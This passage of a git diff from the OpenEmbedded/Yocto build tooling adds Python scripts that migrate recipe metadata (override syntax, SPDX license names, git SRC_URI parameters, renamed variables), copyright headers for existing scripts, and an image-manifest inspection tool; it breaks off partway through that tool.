+ "PKGE", "PKGV", "PKGR", "USERADD_PARAM", "GROUPADD_PARAM", "CONFFILES", "SYSTEMD_SERVICE", "LICENSE", "SECTION", "pkg_preinst",
+ "pkg_prerm", "RREPLACES", "GROUPMEMS_PARAM", "SYSTEMD_AUTO_ENABLE", "SKIP_FILEDEPS", "PRIVATE_LIBS", "PACKAGE_ADD_METADATA",
+ "INSANE_SKIP", "DEBIANNAME", "SYSTEMD_SERVICE_ESCAPED"] + args.package_vars
+
+# Expressions to skip if encountered, these are not overrides
+skips = args.skip
+skips += ["parser_append", "recipe_to_append", "extra_append", "to_remove", "show_appends", "applied_appends", "file_appends", "handle_remove"]
+skips += ["expanded_removes", "color_remove", "test_remove", "empty_remove", "toaster_prepend", "num_removed", "licfiles_append", "_write_append"]
+skips += ["no_report_remove", "test_prepend", "test_append", "multiple_append", "test_remove", "shallow_remove", "do_remove_layer", "first_append"]
+skips += ["parser_remove", "to_append", "no_remove", "bblayers_add_remove", "bblayers_remove", "apply_append", "is_x86", "base_dep_prepend"]
+skips += ["autotools_dep_prepend", "go_map_arm", "alt_remove_links", "systemd_append_file", "file_append", "process_file_darwin"]
+skips += ["run_loaddata_poky", "determine_if_poky_env", "do_populate_poky_src", "libc_cv_include_x86_isa_level", "test_rpm_remove", "do_install_armmultilib"]
+skips += ["get_appends_for_files", "test_doubleref_remove", "test_bitbakelayers_add_remove", "elf32_x86_64", "colour_remove", "revmap_remove"]
+skips += ["test_rpm_remove", "test_bitbakelayers_add_remove", "recipe_append_file", "log_data_removed", "recipe_append", "systemd_machine_unit_append"]
+skips += ["recipetool_append", "changetype_remove", "try_appendfile_wc", "test_qemux86_directdisk", "test_layer_appends", "tgz_removed"]
+
+imagevars = ["IMAGE_CMD", "EXTRA_IMAGECMD", "IMAGE_TYPEDEP", "CONVERSION_CMD", "COMPRESS_CMD"] + args.image_vars
+packagevars += imagevars
+
+skip_ext = [".html", ".patch", ".m4", ".diff"] + args.skip_ext
+
+vars_re = {}
+for exp in vars:
+ vars_re[exp] = (re.compile(r'((^|[#\'"\s\-\+])[A-Za-z0-9_\-:${}\.]+)_' + exp), r"\1:" + exp)
+
+shortvars_re = {}
+for exp in shortvars:
+ shortvars_re[exp] = (re.compile(r'((^|[#\'"\s\-\+])[A-Za-z0-9_\-:${}\.]+)_' + exp + r'([\(\'"\s:])'), r"\1:" + exp + r"\3")
+
+package_re = {}
+for exp in packagevars:
+ package_re[exp] = (re.compile(r'(^|[#\'"\s\-\+]+)' + exp + r'_' + r'([$a-z"\'\s%\[<{\\\*].)'), r"\1" + exp + r":\2")
+
+# Other substitutions to make
+subs = {
+ 'r = re.compile(r"([^:]+):\s*(.*)")' : 'r = re.compile(r"(^.+?):\s+(.*)")',
+ "val = d.getVar('%s_%s' % (var, pkg))" : "val = d.getVar('%s:%s' % (var, pkg))",
+ "f.write('%s_%s: %s\\n' % (var, pkg, encode(val)))" : "f.write('%s:%s: %s\\n' % (var, pkg, encode(val)))",
+ "d.getVar('%s_%s' % (scriptlet_name, pkg))" : "d.getVar('%s:%s' % (scriptlet_name, pkg))",
+ 'ret.append(v + "_" + p)' : 'ret.append(v + ":" + p)',
+}
+
+def processfile(fn):
+ print("processing file '%s'" % fn)
+ try:
+ fh, abs_path = tempfile.mkstemp()
+ with os.fdopen(fh, 'w') as new_file:
+ with open(fn, "r") as old_file:
+ for line in old_file:
+ skip = False
+ for s in skips:
+ if s in line:
+ skip = True
+ if "ptest_append" in line or "ptest_remove" in line or "ptest_prepend" in line:
+ skip = False
+ for sub in subs:
+ if sub in line:
+ line = line.replace(sub, subs[sub])
+ skip = True
+ if not skip:
+ for pvar in packagevars:
+ line = package_re[pvar][0].sub(package_re[pvar][1], line)
+ for var in vars:
+ line = vars_re[var][0].sub(vars_re[var][1], line)
+ for shortvar in shortvars:
+ line = shortvars_re[shortvar][0].sub(shortvars_re[shortvar][1], line)
+ if "pkg_postinst:ontarget" in line:
+ line = line.replace("pkg_postinst:ontarget", "pkg_postinst_ontarget")
+ new_file.write(line)
+ shutil.copymode(fn, abs_path)
+ os.remove(fn)
+ shutil.move(abs_path, fn)
+ except UnicodeDecodeError:
+ pass
+
+ourname = os.path.basename(sys.argv[0])
+ourversion = "0.9.3"
+
+for p in args.path:
+ if os.path.isfile(p):
+ processfile(p)
+ else:
+ print("processing directory '%s'" % p)
+ for root, dirs, files in os.walk(p):
+ for name in files:
+ if name == ourname:
+ continue
+ fn = os.path.join(root, name)
+ if os.path.islink(fn):
+ continue
+ if "/.git/" in fn or any(fn.endswith(ext) for ext in skip_ext):
+ continue
+ processfile(fn)
+
+print("All files processed with version %s" % ourversion)
diff --git a/scripts/contrib/convert-spdx-licenses.py b/scripts/contrib/convert-spdx-licenses.py
new file mode 100755
index 0000000000..4e194dee3f
--- /dev/null
+++ b/scripts/contrib/convert-spdx-licenses.py
@@ -0,0 +1,145 @@
+#!/usr/bin/env python3
+#
+# Conversion script to change LICENSE entries to SPDX identifiers
+#
+# Copyright (C) 2021-2022 Richard Purdie
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import re
+import os
+import sys
+import tempfile
+import shutil
+import mimetypes
+
+if len(sys.argv) < 2:
+ print("Please specify a directory to run the conversion script against.")
+ sys.exit(1)
+
+license_map = {
+"AGPL-3" : "AGPL-3.0-only",
+"AGPL-3+" : "AGPL-3.0-or-later",
+"AGPLv3" : "AGPL-3.0-only",
+"AGPLv3+" : "AGPL-3.0-or-later",
+"AGPLv3.0" : "AGPL-3.0-only",
+"AGPLv3.0+" : "AGPL-3.0-or-later",
+"AGPL-3.0" : "AGPL-3.0-only",
+"AGPL-3.0+" : "AGPL-3.0-or-later",
+"BSD-0-Clause" : "0BSD",
+"GPL-1" : "GPL-1.0-only",
+"GPL-1+" : "GPL-1.0-or-later",
+"GPLv1" : "GPL-1.0-only",
+"GPLv1+" : "GPL-1.0-or-later",
+"GPLv1.0" : "GPL-1.0-only",
+"GPLv1.0+" : "GPL-1.0-or-later",
+"GPL-1.0" : "GPL-1.0-only",
+"GPL-1.0+" : "GPL-1.0-or-later",
+"GPL-2" : "GPL-2.0-only",
+"GPL-2+" : "GPL-2.0-or-later",
+"GPLv2" : "GPL-2.0-only",
+"GPLv2+" : "GPL-2.0-or-later",
+"GPLv2.0" : "GPL-2.0-only",
+"GPLv2.0+" : "GPL-2.0-or-later",
+"GPL-2.0" : "GPL-2.0-only",
+"GPL-2.0+" : "GPL-2.0-or-later",
+"GPL-3" : "GPL-3.0-only",
+"GPL-3+" : "GPL-3.0-or-later",
+"GPLv3" : "GPL-3.0-only",
+"GPLv3+" : "GPL-3.0-or-later",
+"GPLv3.0" : "GPL-3.0-only",
+"GPLv3.0+" : "GPL-3.0-or-later",
+"GPL-3.0" : "GPL-3.0-only",
+"GPL-3.0+" : "GPL-3.0-or-later",
+"LGPLv2" : "LGPL-2.0-only",
+"LGPLv2+" : "LGPL-2.0-or-later",
+"LGPLv2.0" : "LGPL-2.0-only",
+"LGPLv2.0+" : "LGPL-2.0-or-later",
+"LGPL-2.0" : "LGPL-2.0-only",
+"LGPL-2.0+" : "LGPL-2.0-or-later",
+"LGPL2.1" : "LGPL-2.1-only",
+"LGPL2.1+" : "LGPL-2.1-or-later",
+"LGPLv2.1" : "LGPL-2.1-only",
+"LGPLv2.1+" : "LGPL-2.1-or-later",
+"LGPL-2.1" : "LGPL-2.1-only",
+"LGPL-2.1+" : "LGPL-2.1-or-later",
+"LGPLv3" : "LGPL-3.0-only",
+"LGPLv3+" : "LGPL-3.0-or-later",
+"LGPL-3.0" : "LGPL-3.0-only",
+"LGPL-3.0+" : "LGPL-3.0-or-later",
+"MPL-1" : "MPL-1.0",
+"MPLv1" : "MPL-1.0",
+"MPLv1.1" : "MPL-1.1",
+"MPLv2" : "MPL-2.0",
+"MIT-X" : "MIT",
+"MIT-style" : "MIT",
+"openssl" : "OpenSSL",
+"PSF" : "PSF-2.0",
+"PSFv2" : "PSF-2.0",
+"Python-2" : "Python-2.0",
+"Apachev2" : "Apache-2.0",
+"Apache-2" : "Apache-2.0",
+"Artisticv1" : "Artistic-1.0",
+"Artistic-1" : "Artistic-1.0",
+"AFL-2" : "AFL-2.0",
+"AFL-1" : "AFL-1.2",
+"AFLv2" : "AFL-2.0",
+"AFLv1" : "AFL-1.2",
+"CDDLv1" : "CDDL-1.0",
+"CDDL-1" : "CDDL-1.0",
+"EPLv1.0" : "EPL-1.0",
+"FreeType" : "FTL",
+"Nauman" : "Naumen",
+"tcl" : "TCL",
+"vim" : "Vim",
+"SGIv1" : "SGI-1",
+}
+
+def processfile(fn):
+ print("processing file '%s'" % fn)
+ try:
+ fh, abs_path = tempfile.mkstemp()
+ modified = False
+ with os.fdopen(fh, 'w') as new_file:
+ with open(fn, "r") as old_file:
+ for line in old_file:
+ if not line.startswith("LICENSE"):
+ new_file.write(line)
+ continue
+ orig = line
+ for license in sorted(license_map, key=len, reverse=True):
+ for ending in ['"', "'", " ", ")"]:
+ line = line.replace(license + ending, license_map[license] + ending)
+ if orig != line:
+ modified = True
+ new_file.write(line)
+ new_file.close()
+ if modified:
+ shutil.copymode(fn, abs_path)
+ os.remove(fn)
+ shutil.move(abs_path, fn)
+ except UnicodeDecodeError:
+ pass
+
+ourname = os.path.basename(sys.argv[0])
+ourversion = "0.01"
+
+if os.path.isfile(sys.argv[1]):
+ processfile(sys.argv[1])
+ sys.exit(0)
+
+for targetdir in sys.argv[1:]:
+ print("processing directory '%s'" % targetdir)
+ for root, dirs, files in os.walk(targetdir):
+ for name in files:
+ if name == ourname:
+ continue
+ fn = os.path.join(root, name)
+ if os.path.islink(fn):
+ continue
+ if "/.git/" in fn or fn.endswith(".html") or fn.endswith(".patch") or fn.endswith(".m4") or fn.endswith(".diff") or fn.endswith(".orig"):
+ continue
+ processfile(fn)
+
+print("All files processed with version %s" % ourversion)
diff --git a/scripts/contrib/convert-srcuri.py b/scripts/contrib/convert-srcuri.py
new file mode 100755
index 0000000000..587392334f
--- /dev/null
+++ b/scripts/contrib/convert-srcuri.py
@@ -0,0 +1,77 @@
+#!/usr/bin/env python3
+#
+# Conversion script to update SRC_URI to add branch to git urls
+#
+# Copyright (C) 2021 Richard Purdie
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import re
+import os
+import sys
+import tempfile
+import shutil
+import mimetypes
+
+if len(sys.argv) < 2:
+ print("Please specify a directory to run the conversion script against.")
+ sys.exit(1)
+
+def processfile(fn):
+ def matchline(line):
+ if "MIRROR" in line or ".*" in line or "GNOME_GIT" in line:
+ return False
+ return True
+ print("processing file '%s'" % fn)
+ try:
+ if "distro_alias.inc" in fn or "linux-yocto-custom.bb" in fn:
+ return
+ fh, abs_path = tempfile.mkstemp()
+ modified = False
+ with os.fdopen(fh, 'w') as new_file:
+ with open(fn, "r") as old_file:
+ for line in old_file:
+ if ("git://" in line or "gitsm://" in line) and "branch=" not in line and matchline(line):
+ if line.endswith('"\n'):
+ line = line.replace('"\n', ';branch=master"\n')
+ elif re.search('\s*\\\\$', line):
+ line = re.sub('\s*\\\\$', ';branch=master \\\\', line)
+ modified = True
+ if ("git://" in line or "gitsm://" in line) and "github.com" in line and "protocol=https" not in line and matchline(line):
+ if "protocol=git" in line:
+ line = line.replace('protocol=git', 'protocol=https')
+ elif line.endswith('"\n'):
+ line = line.replace('"\n', ';protocol=https"\n')
+ elif re.search('\s*\\\\$', line):
+ line = re.sub('\s*\\\\$', ';protocol=https \\\\', line)
+ modified = True
+ new_file.write(line)
+ if modified:
+ shutil.copymode(fn, abs_path)
+ os.remove(fn)
+ shutil.move(abs_path, fn)
+ except UnicodeDecodeError:
+ pass
+
+ourname = os.path.basename(sys.argv[0])
+ourversion = "0.1"
+
+if os.path.isfile(sys.argv[1]):
+ processfile(sys.argv[1])
+ sys.exit(0)
+
+for targetdir in sys.argv[1:]:
+ print("processing directory '%s'" % targetdir)
+ for root, dirs, files in os.walk(targetdir):
+ for name in files:
+ if name == ourname:
+ continue
+ fn = os.path.join(root, name)
+ if os.path.islink(fn):
+ continue
+ if "/.git/" in fn or fn.endswith(".html") or fn.endswith(".patch") or fn.endswith(".m4") or fn.endswith(".diff"):
+ continue
+ processfile(fn)
+
+print("All files processed with version %s" % ourversion)
diff --git a/scripts/contrib/convert-variable-renames.py b/scripts/contrib/convert-variable-renames.py
new file mode 100755
index 0000000000..eded90ca61
--- /dev/null
+++ b/scripts/contrib/convert-variable-renames.py
@@ -0,0 +1,116 @@
+#!/usr/bin/env python3
+#
+# Conversion script to rename variables to versions with improved terminology.
+# Also highlights potentially problematic language and removed variables.
+#
+# Copyright (C) 2021 Richard Purdie
+# Copyright (C) 2022 Wind River Systems, Inc.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import re
+import os
+import sys
+import tempfile
+import shutil
+import mimetypes
+
+if len(sys.argv) < 2:
+ print("Please specify a directory to run the conversion script against.")
+ sys.exit(1)
+
+renames = {
+"BB_ENV_WHITELIST" : "BB_ENV_PASSTHROUGH",
+"BB_ENV_EXTRAWHITE" : "BB_ENV_PASSTHROUGH_ADDITIONS",
+"BB_HASHCONFIG_WHITELIST" : "BB_HASHCONFIG_IGNORE_VARS",
+"BB_SETSCENE_ENFORCE_WHITELIST" : "BB_SETSCENE_ENFORCE_IGNORE_TASKS",
+"BB_HASHBASE_WHITELIST" : "BB_BASEHASH_IGNORE_VARS",
+"BB_HASHTASK_WHITELIST" : "BB_TASKHASH_IGNORE_TASKS",
+"CVE_CHECK_PN_WHITELIST" : "CVE_CHECK_SKIP_RECIPE",
+"CVE_CHECK_WHITELIST" : "CVE_CHECK_IGNORE",
+"MULTI_PROVIDER_WHITELIST" : "BB_MULTI_PROVIDER_ALLOWED",
+"PNBLACKLIST" : "SKIP_RECIPE",
+"SDK_LOCAL_CONF_BLACKLIST" : "ESDK_LOCALCONF_REMOVE",
+"SDK_LOCAL_CONF_WHITELIST" : "ESDK_LOCALCONF_ALLOW",
+"SDK_INHERIT_BLACKLIST" : "ESDK_CLASS_INHERIT_DISABLE",
+"SSTATE_DUPWHITELIST" : "SSTATE_ALLOW_OVERLAP_FILES",
+"SYSROOT_DIRS_BLACKLIST" : "SYSROOT_DIRS_IGNORE",
+"UNKNOWN_CONFIGURE_WHITELIST" : "UNKNOWN_CONFIGURE_OPT_IGNORE",
+"ICECC_USER_CLASS_BL" : "ICECC_CLASS_DISABLE",
+"ICECC_SYSTEM_CLASS_BL" : "ICECC_CLASS_DISABLE",
+"ICECC_USER_PACKAGE_WL" : "ICECC_RECIPE_ENABLE",
+"ICECC_USER_PACKAGE_BL" : "ICECC_RECIPE_DISABLE",
+"ICECC_SYSTEM_PACKAGE_BL" : "ICECC_RECIPE_DISABLE",
+"LICENSE_FLAGS_WHITELIST" : "LICENSE_FLAGS_ACCEPTED",
+}
+
+removed_list = [
+"BB_STAMP_WHITELIST",
+"BB_STAMP_POLICY",
+"INHERIT_BLACKLIST",
+"TUNEABI_WHITELIST",
+]
+
+context_check_list = [
+"blacklist",
+"whitelist",
+"abort",
+]
+
+def processfile(fn):
+
+ print("processing file '%s'" % fn)
+ try:
+ fh, abs_path = tempfile.mkstemp()
+ modified = False
+ with os.fdopen(fh, 'w') as new_file:
+ with open(fn, "r") as old_file:
+ lineno = 0
+ for line in old_file:
+ lineno += 1
+ if not line or "BB_RENAMED_VARIABLE" in line:
+ continue
+ # Do the renames
+ for old_name, new_name in renames.items():
+ if old_name in line:
+ line = line.replace(old_name, new_name)
+ modified = True
+ # Find removed names
+ for removed_name in removed_list:
+ if removed_name in line:
+ print("%s needs further work at line %s because %s has been deprecated" % (fn, lineno, removed_name))
+ for check_word in context_check_list:
+ if re.search(check_word, line, re.IGNORECASE):
+ print("%s needs further work at line %s since it contains %s"% (fn, lineno, check_word))
+ new_file.write(line)
+ new_file.close()
+ if modified:
+ print("*** Modified file '%s'" % (fn))
+ shutil.copymode(fn, abs_path)
+ os.remove(fn)
+ shutil.move(abs_path, fn)
+ except UnicodeDecodeError:
+ pass
+
+ourname = os.path.basename(sys.argv[0])
+ourversion = "0.1"
+
+if os.path.isfile(sys.argv[1]):
+ processfile(sys.argv[1])
+ sys.exit(0)
+
+for targetdir in sys.argv[1:]:
+ print("processing directory '%s'" % targetdir)
+ for root, dirs, files in os.walk(targetdir):
+ for name in files:
+ if name == ourname:
+ continue
+ fn = os.path.join(root, name)
+ if os.path.islink(fn):
+ continue
+ if "ChangeLog" in fn or "/.git/" in fn or fn.endswith(".html") or fn.endswith(".patch") or fn.endswith(".m4") or fn.endswith(".diff") or fn.endswith(".orig"):
+ continue
+ processfile(fn)
+
+print("All files processed with version %s" % ourversion)
diff --git a/scripts/contrib/ddimage b/scripts/contrib/ddimage
index 7f2ad112a6..70eee8ebea 100755
--- a/scripts/contrib/ddimage
+++ b/scripts/contrib/ddimage
@@ -1,5 +1,7 @@
#!/bin/sh
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
diff --git a/scripts/contrib/dialog-power-control b/scripts/contrib/dialog-power-control
index ad6070c369..82c84baa1d 100755
--- a/scripts/contrib/dialog-power-control
+++ b/scripts/contrib/dialog-power-control
@@ -1,5 +1,7 @@
#!/bin/sh
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Simple script to show a manual power prompt for when you want to use
diff --git a/scripts/contrib/documentation-audit.sh b/scripts/contrib/documentation-audit.sh
index 1191f57a8e..7197a2fcea 100755
--- a/scripts/contrib/documentation-audit.sh
+++ b/scripts/contrib/documentation-audit.sh
@@ -1,5 +1,7 @@
#!/bin/bash
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: GPL-2.0-only
#
# Perform an audit of which packages provide documentation and which
@@ -26,8 +28,8 @@ if [ -z "$BITBAKE" ]; then
fi
echo "REMINDER: you need to build for MACHINE=qemux86 or you won't get useful results"
-echo "REMINDER: you need to set LICENSE_FLAGS_WHITELIST appropriately in local.conf or "
-echo " you'll get false positives. For example, LICENSE_FLAGS_WHITELIST = \"Commercial\""
+echo "REMINDER: you need to set LICENSE_FLAGS_ACCEPTED appropriately in local.conf or "
+echo " you'll get false positives. For example, LICENSE_FLAGS_ACCEPTED = \"commercial\""
for pkg in `bitbake -s | awk '{ print \$1 }'`; do
if [[ "$pkg" == "Loading" || "$pkg" == "Loaded" ||
diff --git a/scripts/contrib/image-manifest b/scripts/contrib/image-manifest
new file mode 100755
index 0000000000..4d65a99258
--- /dev/null
+++ b/scripts/contrib/image-manifest
@@ -0,0 +1,523 @@
+#!/usr/bin/env python3
+
+# Script to extract information from image manifests
+#
+# Copyright (C) 2018 Intel Corporation
+# Copyright (C) 2021 Wind River Systems, Inc.
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import sys
+import os
+import argparse
+import logging
+import json
+import shutil
+import tempfile
+import tarfile
+from collections import OrderedDict
+
+scripts_path = os.path.dirname(__file__)
+lib_path = scripts_path + '/../lib'
+sys.path = sys.path + [lib_path]
+
+import scriptutils
+logger = scriptutils.logger_create(os.path.basename(__file__))
+
+import argparse_oe
+import scriptpath
+bitbakepath = scriptpath.add_bitbake_lib_path()
+if not bitbakepath:
+ logger.error("Unable to find bitbake by searching parent directory of this script or PATH")
+ sys.exit(1)
+logger.debug('Using standard bitbake path %s' % bitbakepath)
+scriptpath.add_oe_lib_path()
+
+import bb.tinfoil
+import bb.utils
+import oe.utils
+import oe.recipeutils
+
+def get_pkg_list(manifest):
+ pkglist = []
+ with open(manifest, 'r') as f:
+ for line in f:
+ linesplit = line.split()
+ if len(linesplit) == 3:
+ # manifest file
+ pkglist.append(linesplit[0])
+ elif len(linesplit) == 1:
+ # build dependency file
+ pkglist.append(linesplit[0])
+ return sorted(pkglist)
+
+def list_packages(args):
+ pkglist = get_pkg_list(args.manifest)
+ for pkg in pkglist:
+ print('%s' % pkg)
+
+def pkg2recipe(tinfoil, pkg):
+ if "-native" in pkg:
+ logger.info('skipping %s' % pkg)
+ return None
+
+ pkgdata_dir = tinfoil.config_data.getVar('PKGDATA_DIR')
+ pkgdatafile = os.path.join(pkgdata_dir, 'runtime-reverse', pkg)
+ logger.debug('pkgdatafile %s' % pkgdatafile)
+ try:
+ f = open(pkgdatafile, 'r')
+ for line in f:
+ if line.startswith('PN:'):
+ recipe = line.split(':', 1)[1].strip()
+ return recipe
+ except Exception:
+ logger.warning('%s is missing' % pkgdatafile)
+ return None
+
+def get_recipe_list(manifest, tinfoil):
+ pkglist = get_pkg_list(manifest)
+ recipelist = []
+ for pkg in pkglist:
+ recipe = pkg2recipe(tinfoil,pkg)
+ if recipe:
+ if not recipe in recipelist:
+ recipelist.append(recipe)
+
+ return sorted(recipelist)
+
+def list_recipes(args):
+ import bb.tinfoil
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare(config_only=True)
+ recipelist = get_recipe_list(args.manifest, tinfoil)
+ for recipe in sorted(recipelist):
+ print('%s' % recipe)
+
+def list_layers(args):
+
+ def find_git_repo(pth):
+ checkpth = pth
+ while checkpth != os.sep:
+ if os.path.exists(os.path.join(checkpth, '.git')):
+ return checkpth
+ checkpth = os.path.dirname(checkpth)
+ return None
+
+ def get_git_remote_branch(repodir):
+ try:
+ stdout, _ = bb.process.run(['git', 'rev-parse', '--abbrev-ref', '--symbolic-full-name', '@{u}'], cwd=repodir)
+ except bb.process.ExecutionError as e:
+ stdout = None
+ if stdout:
+ return stdout.strip()
+ else:
+ return None
+
+ def get_git_head_commit(repodir):
+ try:
+ stdout, _ = bb.process.run(['git', 'rev-parse', 'HEAD'], cwd=repodir)
+ except bb.process.ExecutionError as e:
+ stdout = None
+ if stdout:
+ return stdout.strip()
+ else:
+ return None
+
+ def get_git_repo_url(repodir, remote='origin'):
+ import bb.process
+ # Try to get upstream repo location from origin remote
+ try:
+ stdout, _ = bb.process.run(['git', 'remote', '-v'], cwd=repodir)
+ except bb.process.ExecutionError as e:
+ stdout = None
+ if stdout:
+ for line in stdout.splitlines():
+ splitline = line.split()
+ if len(splitline) > 1:
+ if splitline[0] == remote and scriptutils.is_src_url(splitline[1]):
+ return splitline[1]
+ return None
+
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare(config_only=False)
+ layers = OrderedDict()
+ for layerdir in tinfoil.config_data.getVar('BBLAYERS').split():
+ layerdata = OrderedDict()
+ layername = os.path.basename(layerdir)
+ logger.debug('layername %s, layerdir %s' % (layername, layerdir))
+ if layername in layers:
+ logger.warning('layername %s is not unique in configuration' % layername)
+ layername = os.path.basename(os.path.dirname(layerdir)) + '_' + os.path.basename(layerdir)
+ logger.debug('trying layername %s' % layername)
+ if layername in layers:
+ logger.error('Layer name %s is not unique in configuration' % layername)
+ sys.exit(2)
+ repodir = find_git_repo(layerdir)
+ if repodir:
+ remotebranch = get_git_remote_branch(repodir)
+ remote = 'origin'
+ if remotebranch and '/' in remotebranch:
+ rbsplit = remotebranch.split('/', 1)
+ layerdata['actual_branch'] = rbsplit[1]
+ remote = rbsplit[0]
+ layerdata['vcs_url'] = get_git_repo_url(repodir, remote)
+ if os.path.abspath(repodir) != os.path.abspath(layerdir):
+ layerdata['vcs_subdir'] = os.path.relpath(layerdir, repodir)
+ commit = get_git_head_commit(repodir)
+ if commit:
+ layerdata['vcs_commit'] = commit
+ layers[layername] = layerdata
+
+ json.dump(layers, args.output, indent=2)
+
+def get_recipe(args):
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare(config_only=True)
+
+ recipe = pkg2recipe(tinfoil, args.package)
+ print(' %s package provided by %s' % (args.package, recipe))
+
+def pkg_dependencies(args):
+ def get_recipe_info(tinfoil, recipe):
+ try:
+ info = tinfoil.get_recipe_info(recipe)
+ except Exception:
+ logger.error('Failed to get recipe info for: %s' % recipe)
+ sys.exit(1)
+ if not info:
+ logger.warning('No recipe info found for: %s' % recipe)
+ sys.exit(1)
+ append_files = tinfoil.get_file_appends(info.fn)
+ appends = True
+ data = tinfoil.parse_recipe_file(info.fn, appends, append_files)
+ data.pn = info.pn
+ data.pv = info.pv
+ return data
+
+ def find_dependencies(tinfoil, assume_provided, recipe_info, packages, rn, order):
+ spaces = ' ' * order
+ data = recipe_info[rn]
+ if args.native:
+ logger.debug('%s- %s' % (spaces, data.pn))
+ elif "-native" not in data.pn:
+ if "cross" not in data.pn:
+ logger.debug('%s- %s' % (spaces, data.pn))
+
+ depends = []
+ for dep in data.depends:
+ if dep not in assume_provided:
+ depends.append(dep)
+
+ # First find all dependencies not in package list.
+ for dep in depends:
+ if dep not in packages:
+ packages.append(dep)
+ dep_data = get_recipe_info(tinfoil, dep)
+ # Do this once now to reduce the number of bitbake calls.
+ dep_data.depends = dep_data.getVar('DEPENDS').split()
+ recipe_info[dep] = dep_data
+
+ # Then recursively analyze all of the dependencies for the current recipe.
+ for dep in depends:
+ find_dependencies(tinfoil, assume_provided, recipe_info, packages, dep, order + 1)
+
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare()
+
+ assume_provided = tinfoil.config_data.getVar('ASSUME_PROVIDED').split()
+ logger.debug('assumed provided:')
+ for ap in sorted(assume_provided):
+ logger.debug(' - %s' % ap)
+
+ recipe = pkg2recipe(tinfoil, args.package)
+ data = get_recipe_info(tinfoil, recipe)
+ data.depends = []
+ depends = data.getVar('DEPENDS').split()
+ for dep in depends:
+ if dep not in assume_provided:
+ data.depends.append(dep)
+
+ recipe_info = dict([(recipe, data)])
+ packages = []
+ find_dependencies(tinfoil, assume_provided, recipe_info, packages, recipe, order=1)
+
+ print('\nThe following packages are required to build %s' % recipe)
+ for p in sorted(packages):
+ data = recipe_info[p]
+ if "-native" not in data.pn:
+ if "cross" not in data.pn:
+ print(" %s (%s)" % (data.pn,p))
+
+ if args.native:
+ print('\nThe following native packages are required to build %s' % recipe)
+ for p in sorted(packages):
+ data = recipe_info[p]
+ if "-native" in data.pn:
+ print(" %s(%s)" % (data.pn,p))
+ if "cross" in data.pn:
+ print(" %s(%s)" % (data.pn,p))
+
+def default_config():
+ vlist = OrderedDict()
+ vlist['PV'] = 'yes'
+ vlist['SUMMARY'] = 'no'
+ vlist['DESCRIPTION'] = 'no'
+ vlist['SECTION'] = 'no'
+ vlist['LICENSE'] = 'yes'
+ vlist['HOMEPAGE'] = 'no'
+ vlist['BUGTRACKER'] = 'no'
+ vlist['PROVIDES'] = 'no'
+ vlist['BBCLASSEXTEND'] = 'no'
+ vlist['DEPENDS'] = 'no'
+ vlist['PACKAGECONFIG'] = 'no'
+ vlist['SRC_URI'] = 'yes'
+ vlist['SRCREV'] = 'yes'
+ vlist['EXTRA_OECONF'] = 'no'
+ vlist['EXTRA_OESCONS'] = 'no'
+ vlist['EXTRA_OECMAKE'] = 'no'
+ vlist['EXTRA_OEMESON'] = 'no'
+
+ clist = OrderedDict()
+ clist['variables'] = vlist
+ clist['filepath'] = 'no'
+ clist['sha256sum'] = 'no'
+ clist['layerdir'] = 'no'
+ clist['layer'] = 'no'
+ clist['inherits'] = 'no'
+ clist['source_urls'] = 'no'
+ clist['packageconfig_opts'] = 'no'
+ clist['patches'] = 'no'
+ clist['packagedir'] = 'no'
+ return clist
+
+def dump_config(args):
+ config = default_config()
+ f = open('default_config.json', 'w')
+ json.dump(config, f, indent=2)
+ logger.info('Default config list dumped to default_config.json')
+
+def export_manifest_info(args):
+
+ def handle_value(value):
+ if value:
+ return oe.utils.squashspaces(value)
+ else:
+ return value
+
+ if args.config:
+ logger.debug('config: %s' % args.config)
+ f = open(args.config, 'r')
+ config = json.load(f, object_pairs_hook=OrderedDict)
+ else:
+ config = default_config()
+ if logger.isEnabledFor(logging.DEBUG):
+ print('Configuration:')
+ json.dump(config, sys.stdout, indent=2)
+ print('')
+
+ tmpoutdir = tempfile.mkdtemp(prefix=os.path.basename(__file__)+'-')
+ logger.debug('tmp dir: %s' % tmpoutdir)
+
+ # export manifest
+ shutil.copy2(args.manifest,os.path.join(tmpoutdir, "manifest"))
+
+ with bb.tinfoil.Tinfoil(tracking=True) as tinfoil:
+ tinfoil.logger.setLevel(logger.getEffectiveLevel())
+ tinfoil.prepare(config_only=False)
+
+ pkglist = get_pkg_list(args.manifest)
+ # export pkg list
+ f = open(os.path.join(tmpoutdir, "pkgs"), 'w')
+ for pkg in pkglist:
+ f.write('%s\n' % pkg)
+ f.close()
+
+ recipelist = []
+ for pkg in pkglist:
+ recipe = pkg2recipe(tinfoil,pkg)
+ if recipe:
+ if not recipe in recipelist:
+ recipelist.append(recipe)
+ recipelist.sort()
+ # export recipe list
+ f = open(os.path.join(tmpoutdir, "recipes"), 'w')
+ for recipe in recipelist:
+ f.write('%s\n' % recipe)
+ f.close()
+
+ try:
+ rvalues = OrderedDict()
+ for pn in sorted(recipelist):
+ logger.debug('Package: %s' % pn)
+ rd = tinfoil.parse_recipe(pn)
+
+ rvalues[pn] = OrderedDict()
+
+ for varname in config['variables']:
+ if config['variables'][varname] == 'yes':
+ rvalues[pn][varname] = handle_value(rd.getVar(varname))
+
+ fpth = rd.getVar('FILE')
+ layerdir = oe.recipeutils.find_layerdir(fpth)
+ if config['filepath'] == 'yes':
+ rvalues[pn]['filepath'] = os.path.relpath(fpth, layerdir)
+ if config['sha256sum'] == 'yes':
+ rvalues[pn]['sha256sum'] = bb.utils.sha256_file(fpth)
+
+ if config['layerdir'] == 'yes':
+ rvalues[pn]['layerdir'] = layerdir
+
